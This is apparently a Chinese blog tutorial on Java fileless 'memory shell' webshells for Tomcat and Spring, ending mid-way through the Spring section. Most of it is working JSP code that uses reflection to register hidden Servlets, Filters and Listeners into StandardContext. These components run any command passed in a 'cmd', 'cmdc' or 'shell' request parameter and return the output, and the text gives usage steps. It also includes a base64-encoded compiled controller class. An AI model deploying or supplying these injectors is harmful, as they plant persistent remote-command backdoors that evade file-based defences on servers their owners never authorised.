前言 懒得在写一次socket分析了,因为逻辑大差不差,但是马实现起来还是有差异的
文中提到的内存马可以于此处下载
Tips:如果你觉得没看懂或者很模糊,那你一定是前置知识没学好
概述 内存马又名无文件马,见名知意,指的是无文件落地的webshell,由于传统的webshell需要写入文件,难以逃避防篡改监控。为了与传统的防御手段对抗,衍生出了一种新型的内存WebShell技术,核心思想用一句话概括,即:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门
。
前置知识
Java web三大件
Tomcat
Java 反射
Spring MVC
Java Agent
WebSocket
Native
汇编
JNI
IDA
Filter和Servlet的回顾性总结 对于基于Filter
和Servlet
实现的简单架构项目,代码审计的重心集中于找出所有的Filter分析其过滤规则,找出是否有做全局的安全过滤、敏感的URL地址是否有做权限校验并尝试绕过Filter过滤。第二点则是找出所有的Servlet,分析Servlet的业务是否存在安全问题,如果存在安全问题是否可以利用?是否有权限访问?利用时是否被Filter过滤等问题,切勿看到Servlet、JSP中的漏洞点就妄下定论,不要忘了Servlet前面很有可能存在一个全局安全过滤的Filter。
Filter
和Servlet
都是Java Web提供的API,简单的总结了下有如下共同点。
Filter和Servlet都需要在web.xml或注解(@WebFilter、@WebServlet)中配置,而且配置方式是非常的相似的。
Filter和Servlet都可以处理来自Http请求的请求,两者都有request、response对象。
Filter和Servlet基础概念不一样,Servlet定义是容器端小程序,用于直接处理后端业务逻辑,而Filter的思想则是实现对Java Web请求资源的拦截过滤。
Filter和Servlet虽然概念上不太一样,但都可以处理Http请求,都可以用来实现MVC控制器(Struts2和Spring框架分别基于Filter和Servlet技术实现的)。
一般来说Filter通常配置在MVC、Servlet和JSP请求前面,常用于后端权限控制、统一的Http请求参数过滤(统一的XSS、SQL注入、Struts2命令执行等攻击检测处理)处理,其核心主要体现在请求过滤上,而Servlet更多的是用来处理后端业务请求上。
内存马的发展历史 17年n1nty师傅的Tomcat 源代码调试笔记 - 看不见的 Shell
18年经过rebeyong师傅使用agent技术加持后,利用进程注入”实现无文件不死webshell
20年,LandGrey师傅构造了Spring controller内存马——基于内存 Webshell 的无文件攻击技术研究
内存马的类型
Agent型
利用 instrument 机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。
利用 Javassist 库,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。
非Agent型
通过新增一些Java web组件(如 Servlet、Filter、Listener、Controller、WebSocket、Tomcat 等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。
Servlet-API 提供的动态注册机制 早在 2013 年,国际大站 p2j 就发布了这种特性的一种使用方法:
Servlet
、Listener
、Filter
由 javax.servlet.ServletContext
去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。
Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 addcreate 方法来实现动态注册的功能。
Servlet 内存马 Servlet 是 Server Applet
(服务器端小程序)的缩写,用来读取客户端发送的数据,处理并返回结果。也是最常见的 Java 技术之一。
那么在一次访问到达 Tomcat 时,是如何匹配到具体的 Servlet 的?这个过程简单一点,只有两部走:
ApplicationServletRegistration 的 addMapping 方法调用 StandardContext#addServletMapping 方法,在 mapper 中添加 URL 路径与 Wrapper 对象的映射(Wrapper 通过 this.children 中根据 name 获取)
同时在 servletMappings 中添加 URL 路径与 name 的映射。
实现过程:
创建一个恶意的servlet
获取当前的StandardContext
将恶意servlet封装成wrapper添加到StandardContext的children当中
添加ServletMapping将访问的URL和wrapper进行绑定
执行下面的代码,访问当前应用的/shell路径,加上cmd参数就可以命令执行
jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.PrintWriter" %> <% Servlet servlet = new Servlet () { @Override public void init (ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }; %> <% org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("jweny" ); newWrapper.setLoadOnStartup(1 ); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); standardCtx.addChild(newWrapper); standardCtx.addServletMapping("/shell" ,"jweny" ); %>
另一种实现方式:
jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.StandardContext" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "javax.servlet.annotation.WebServlet" %> <%@ page import = "javax.servlet.http.HttpServlet" %> <%@ page import = "javax.servlet.http.HttpServletRequest" %> <%@ page import = "javax.servlet.http.HttpServletResponse" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Field" %> <!-- 1 request this file --> <!-- 2 request thisfile/../evilpage?cmd=calc --> <% class EvilServlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException {} @Override public String getServletInfo () {return null ;} @Override public void destroy () {} public ServletConfig getServletConfig () {return null ;} @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { HttpServletRequest request1 = (HttpServletRequest) req; HttpServletResponse response1 = (HttpServletResponse) res; if (request1.getParameter("cmd" ) != null ){ Runtime.getRuntime().exec(request1.getParameter("cmd" )); } else { response1.sendError(HttpServletResponse.SC_NOT_FOUND); } } } %> <% ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" );appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); EvilServlet evilServlet = new EvilServlet ();org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper(); evilWrapper.setName("evilPage" ); evilWrapper.setLoadOnStartup(1 ); evilWrapper.setServlet(evilServlet); evilWrapper.setServletClass(evilServlet.getClass().getName()); standardContext.addChild(evilWrapper); standardContext.addServletMapping("/evilpage" , "evilPage" ); out.println("动态注入servlet成功" ); %> %> <% String name = "DefaultFilter" ;ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null ){ DefaultFilter filter = new DefaultFilter (); FilterDef filterDef = new FilterDef (); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/abcd" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); out.write("Inject success!" ); } else { out.write("Injected" ); } %>
Filter型 Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
使用 ServletContext
的 addFilter
/createFilter
方法注册;
使用 ServletContextListener
的 contextInitialized
方法在服务器启动时注册(将会在 Listener
中进行描述);
使用 ServletContainerInitializer
的 onStartup
方法在初始化时注册(非动态,后面会描述)。
首先来看一下 createFilter
方法,按照注释,这个类用来在调用 addFilter
向 ServletContext
实例化一个指定的 Filter
类。
这个类还约定了一个事情,那就是如果这个 ServletContext
传递给 ServletContextListener
的 ServletContextListener.contextInitialized
方法,该方法既未在 web.xml
或 web-fragment.xml
中声明,也未使用 javax.servlet.annotation.WebListener
进行注释,则会抛出 UnsupportedOperationException
异常,这个约定其实是非常重要的一点。
接下来看 addFilter
方法,ServletContext
中有三个重载方法,分别接收字符串类型的 filterName 以及 Filter 对象/className 字符串 /Filter 子类的 Class 对象 ,提供不同场景下添加 filter
的功能,这些方法均返回 FilterRegistration.Dynamic
实际上就是 FilterRegistration
对象。
addFilter
方法实际上就是动态添加 filter
的最核心和关键的方法,但是这个类中同样约定了 UnsupportedOperationException
异常。
由于 Servlet API 只是提供接口定义,具体的实现还要看具体的容器,那我们首先以 Tomcat 7.0.96 为例,看一下具体的实现细节。相关实现方法在 org.apache.catalina.core.ApplicationContext#addFilter
中。
可以看到,这个方法创建了一个 FilterDef 对象,将 filterName、filterClass、filter 对象初始化进去,使用 StandardContext 的 addFilterDef 方法将创建的 FilterDef 储存在了 StandardContext 中的一个 Hashmap filterDefs 中,然后 new 了一个 ApplicationFilterRegistration 对象并且返回,并没有将这个 Filter 放到 FilterChain 中,单纯调用这个方法不会完成自定义 Filter 的注册。并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter。
这时我们肯定要想,能不能直接操纵 FilterChain 呢?FilterChain 在 Tomcat 中的实现是 org.apache.catalina.core.ApplicationFilterChain,这个类提供了一个 addFilter 方法添加 Filter,这个方法接受一个 ApplicationFilterConfig 对象,将其放在 this.filters 中。答案是可以,但是没用,因为对于每次请求需要执行的 FilterChain 都是动态取得的 。
那Tomcat 是如何处理一次请求对应的 FilterChain 的呢?在 ApplicationFilterFactory
的 createFilterChain
方法中,可以看到流程如下:
在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配;
如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig;
如果获取到 filterConfig,则将其加入到 filterChain 中
后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法。
通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。这样程序创建时就可以找到添加的 Filter 了。
在之前的 ApplicationContext
的 addFilter
中将 filter
初始化存在了 StandardContext
的 filterDefs
中,那后面又是如何添加在其他参数中的呢?
在 StandardContext
的 filterStart
方法中生成了 filterConfigs
:
在 ApplicationFilterRegistration
的 addMappingForUrlPatterns
中生成了 filterMaps
:
而这两者的信息都是从 filterDefs
中的对象获取的。
在了解了上述逻辑后,在应用程序中动态的添加一个 filter 的思路就清晰了:
调用 ApplicationContext 的 addFilter 方法创建 filterDefs 对象,需要反射修改应用程序的运行状态,加完之后再改回来;
调用 StandardContext 的 filterStart 方法生成 filterConfigs;
调用 ApplicationFilterRegistration 的 addMappingForUrlPatterns 生成 filterMaps;
为了兼容某些特殊情况,将我们加入的 filter 放在 filterMaps 的第一位,可以自己修改 HashMap 中的顺序,也可以在自己调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位。
基于以上思路的实现在 threedr3am 师傅的这篇文章 中有实现代码,我这里不再重复,而且这种实现方式也不适合我,既然知道了需要修改的关键位置,那就没有必要调用方法去改,直接用反射加进去就好了,其中中间还有很多小细节可以变化,但都不是重点,略过。
具体实现代码如下:
可以看到请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行
自定义一个filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.zzddhmt7;import javax.servlet.*;import java.io.IOException;public class filterDemo implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("Filter初始化创建...." ); } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("进行过滤操作......" ); chain.doFilter(request, response); } @Override public void destroy () { } }
然后在web.xml中注册filter,这里我设置url-pattern为 /demo 即访问 /demo 才会触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" > <filter> <filter-name>filterDemo</filter-name> <filter-class>filter.filterDemo</filter-class> </filter> <filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/demo</url-pattern> </filter-mapping> </web-app>
访问http://localhost:8080/demo
,就可以发现成功触发
过程:
创建恶意 filter ;
用 filterDef 对 filter 进行封装 ;
将 filterDef 添加到 filterDefs 跟 filterConfigs 中
创建一个新的 filterMap 将 URL 跟 filter 进行绑定,并添加到 filterMaps 中。要注意的是,因为 filter 生效会有一个先后顺序,所以一般来讲我们还需要把我们的 filter 给移动到 FilterChain 的第一位去;
每次请求 createFilterChain 都会依据此动态生成一个过滤链,而 StandardContext 又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启;
访问下面这个 jsp ,注入成功后,用 ?cmd= 即可命令执行(该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是 servlet 3 以后引入,而 Tomcat 7 以上才支持 Servlet 3 ):
jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.util.Map" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <% final String name = "KpLi0rn" ; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null ){ Filter filter = new Filter () { @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ){ byte [] bytes = new byte [1024 ]; Process process = new ProcessBuilder ("bash" ,"-c" ,req.getParameter("cmd" )).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String (bytes,0 ,len)); process.destroy(); return ; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy () { } }; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !" ); } %>
适用更多版本的实现:
jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.Context" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import = "org.apache.catalina.core.StandardContext" %> <!-- tomcat 8 /9 --> <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap" page import = "org.apache.tomcat.util.descriptor.web.FilterDef" --><!-- tomcat 7 --> <%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "javax.servlet.annotation.WebServlet" %> <%@ page import = "javax.servlet.http.HttpServlet" %> <%@ page import = "javax.servlet.http.HttpServletRequest" %> <%@ page import = "javax.servlet.http.HttpServletResponse" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Constructor" %> <%@ page import = "java.lang.reflect.Field" %> <%@ page import = "java.lang.reflect.InvocationTargetException" %> <%@ page import = "java.util.Map" %> <!-- 1 revise the import class with correct tomcat version --> <!-- 2 request this jsp file --> <!-- 3 request xxxx/this file/../abcd?cmdc=calc --> <% class DefaultFilter implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { } public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; if (req.getParameter("cmdc" ) != null ) { Runtime.getRuntime().exec(req.getParameter("cmdc" )); response.getWriter().println("exec done" ); } filterChain.doFilter(servletRequest, servletResponse); } public void destroy () {} } %> <% String name = "DefaultFilter" ;ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null ){DefaultFilter filter = new DefaultFilter ();FilterDef filterDef = new FilterDef (); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/abcd" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); out.write("Inject success!" ); } else { out.write("Injected" ); } %>
Listener型 Servlet 和 Filter 是程序员常接触的两个技术,所以在网络上对于之前两小节的讨论较多,对于 Listener 的讨论较少。但实际上这个点还是有很多师傅关注到了。
Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。先来了解一下 Listener 是干什么的,看一下 Servlet API 中的注释。
在应用中可能调用的监听器如下:
ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
ServletRequestListener:对 Request 请求进行监听(创建、销毁)
ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
可以看到 Listener 也是为一次访问的请求或生命周期进行服务的,在上述每个不同的接口中,都提供了不同的方法,用来在监听的对象发生改变时进行触发。而这些类接口,实际上都是 java.util.EventListener 的子接口。这里我们看到,在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马。
而除了这个 Listener,其他的 Listener 在某些情况下也可以触发作为内存马的实现,本篇文章里不会对每个都进行触发测试,感兴趣的师傅可以自测。
ServletRequestListener 提供两个方法:requestInitialized 和 requestDestroyed,两个方法均接收 ServletRequestEvent 作为参数,ServletRequestEvent 中又储存了 ServletContext 对象和 ServletRequest 对象,因此在访问请求过程中我们可以在 request 创建和销毁时实现自己的恶意代码,完成内存马的实现。
Tomcat 中 EventListeners 存放在 StandardContext 的 applicationEventListenersObjects 属性中,同样可以使用 StandardContext 的相关 add 方法添加。
具体实现如下
过程:
创建恶意Listener
将其添加到ApplicationEventListener中去
上传并访问下面这个jsp文件
jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <% Object obj = request.getServletContext(); java.lang.reflect.Field field = obj.getClass().getDeclaredField("context" ); field.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) field.get(obj); field = applicationContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); StandardContext standardContext = (StandardContext) field.get(applicationContext); ListenerDemo listenerdemo = new ListenerDemo (); standardContext.addApplicationEventListener(listenerdemo); %> <%! public class ListenerDemo implements ServletRequestListener { public void requestDestroyed (ServletRequestEvent sre) { System.out.println("requestDestroyed" ); } public void requestInitialized (ServletRequestEvent sre) { System.out.println("requestInitialized" ); try { String cmd = sre.getServletRequest().getParameter("cmd" ); Runtime.getRuntime().exec(cmd); }catch (Exception e ){ } } } %>
另一种实现
jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="javax.servlet.*" %> <%@ page import ="javax.servlet.annotation.WebServlet" %> <%@ page import ="javax.servlet.http.HttpServlet" %> <%@ page import ="javax.servlet.http.HttpServletRequest" %> <%@ page import ="javax.servlet.http.HttpServletResponse" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.lang.reflect.Field" %> <!-- 1 、exec this --> <!-- 2 、request any url with a parameter of "shell" --> <% class S implements ServletRequestListener { @Override public void requestDestroyed (ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized (ServletRequestEvent servletRequestEvent) { if (request.getParameter("shell" ) != null ){ try { Runtime.getRuntime().exec(request.getParameter("shell" )); } catch (IOException e) {} } } } %> <% ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" );appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);out.println("inject success" ); S servletRequestListener = new S ();standardContext.addApplicationEventListener(servletRequestListener); %> <!-- 1 、exec this --> <!-- 2 、request any url with a parameter of "shell" -->
Spring 反射实现时用的webshell
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package org.qi4l.memshell.spring.controller;import sun.misc.BASE64Decoder;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class DynamicUtils { public static String CONTROLLER_CLASS_STRING = "yv66vgAAADQALQoABgAeCwAfACAIACEKACIAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAvTG9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0Q29udHJvbGxlcjsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAKRXhjZXB0aW9ucwcAJgEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL0dldE1hcHBpbmc7AQAKU291cmNlRmlsZQEAE1Rlc3RDb250cm9sbGVyLmphdmEBACtMb3JnL3NwcmluZ2ZyYW1ld29yay9zdGVyZW90eXBlL0NvbnRyb2xsZXI7AQA4TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZzsBAAV2YWx1ZQEABS9zdTE4DAAHAAgHACcMACgAKQEADXN1MTggaXMgaGVyZX4HACoMACsALAEALW9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0Q29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAEQALAAAADAABAAAABQAMAA0AAAABAA4ADwADAAkAAABOAAIAAwAAAAwsuQACAQASA7YABLEAAAACAAoAAAAKAAIAAAAVAAsAFgALAAAAIAADAAAADAAMAA0AAAAAAAwAEAARAAEAAAAMABIAEwACABQAAAAEAAEAFQAWAAAABgABABcAAAACABgAAAACABkAFgAAABIAAgAaAAAAGwABABxbAAFzAB0=" ; public static String INTERCEPTOR_CLASS_STRING = 